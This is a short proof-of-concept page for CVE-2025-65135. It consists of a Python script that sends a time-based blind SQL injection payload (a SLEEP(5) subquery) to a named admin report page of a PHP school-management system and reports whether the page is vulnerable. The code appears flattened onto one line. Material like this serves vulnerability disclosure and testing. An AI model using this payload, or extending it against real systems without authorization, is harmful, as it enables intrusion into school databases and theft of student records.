CVE-2025-65135: School-management-system SQL注入漏洞

import requests def check_sqli(url): target_url = f"{url}/studentms/admin/between-date-reprtsdetails.php" # Payload to trigger a 5-second delay if the SQL injection is successful payload = "2025-01-01' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" data = { "fromdate": payload } try: print(f"[+] Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=10) # Check if the response time indicates the sleep was executed if response.elapsed.total_seconds() >= 5: print("[!] Vulnerable! Time-based blind SQL injection confirmed.") else: print("[-] Not vulnerable or payload failed.") except requests.exceptions.RequestException as e: print(f"[Error] {e}") if __name__ == "__main__": target = "http://localhost" # Replace with the actual target URL check_sqli(target)